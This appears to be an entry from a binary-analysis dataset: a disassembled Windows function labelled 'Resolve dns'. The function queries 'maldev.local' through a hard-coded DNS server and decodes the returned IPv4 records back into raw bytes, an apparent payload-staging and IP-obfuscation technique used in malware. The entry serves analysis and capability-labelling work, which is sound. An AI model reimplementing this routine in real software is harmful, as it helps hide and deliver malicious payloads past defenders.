Function at 0x140001070
Capabilities:
Resolve dns

Disassembly:
push r13
sub rsp, 0x90
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r13, rcx
mov qword [rsp + 0x30], rdx
lea rcx, str.192.168.114.138
mov dword [rsp + 0x48], 1
call qword [sym.imp.WS2_32.dll_inet_addr]
mov edx, 1
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x4c], eax
lea r9, [rsp + 0x48]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x38], 0
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rcx, str.maldev.local
call qword [sym.imp.DNSAPI.dll_DnsQuery_W]
test eax, eax
je 0x1400010f8
mov edx, eax
lea rcx, str.____Query_failed_with_status_:__d_n
call fcn.140001010
xor eax, eax
jmp 0x14000135f
mov qword [rsp + 0x80], rsi
mov rsi, qword [rsp + 0x38]
test rsi, rsi
jne 0x14000111d
lea rcx, str.____Did_not_receive_a_DNS_Response
call fcn.140001010
xor eax, eax
jmp 0x140001357
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], r14
xor r14d, r14d
mov qword [rsp + 0x60], r15
xor r15d, r15d
xor r12d, r12d
mov qword [rsp + 0x88], rbp
lea rbx, [r15 - 1]
nop
cmp word [rsi + 0x10], 1
jne 0x14000121c
mov ecx, dword [rsi + 0x20]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdi, rax
mov rax, rbx
nop word [rax + rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x140001170
xor ebp, ebp
mov rcx, r15
test r14, r14
setne bpl
add rax, r14
add rbp, rax
mov rdx, rbp
add rdx, 1
cmovb rdx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rbx, rax
test rax, rax
je 0x14000123e
test r14, r14
jne 0x1400011c0
lea r8, [rbp + 1]
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r15, rbx
jmp 0x1400011e4
mov r15, rbx
lea rcx, [rax - 1]
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400011d0
movzx eax, word [0x1400033b0]
mov word [rcx], ax
dec rbx
nop word [rax + rax]
cmp byte [rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x1400011f0
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdi + rcx]
mov byte [rbx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001200
mov r14, rbp
inc r12
mov rbx, 0xffffffffffffffff
mov rsi, qword [rsi]
test rsi, rsi
jne 0x140001150
test r15, r15
jne 0x140001258
lea rcx, str.____Failed_to_create_CSV_String_from_IP
call fcn.140001010
jmp 0x140001331
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.____Failed_to_create_CSV_String_from_IP
call fcn.140001010
jmp 0x140001331
lea rcx, str.NTDLL
mov qword [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv4StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x14000131c
lea rsi, [r12*4]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14000131c
lea rdx, [0x1400033b0]
mov rcx, r15
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
test rax, rax
je 0x1400012fb
nop word [rax + rax]
mov r9, rbx
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, rax
call rdi
test eax, eax
jne 0x14000131c
lea rdx, [0x1400033b0]
xor ecx, ecx
add rbx, 4
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
test rax, rax
jne 0x1400012d0
test rsi, rsi
je 0x14000131c
mov rcx, qword [rsp + 0x30]
mov qword [r13], rbp
mov qword [rcx], rsi
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
jmp 0x140001333
lea rcx, str.____Could_not_deobfuscate_IP_Addresses
call fcn.140001010
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x68]
mov r15, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x90
pop r13
ret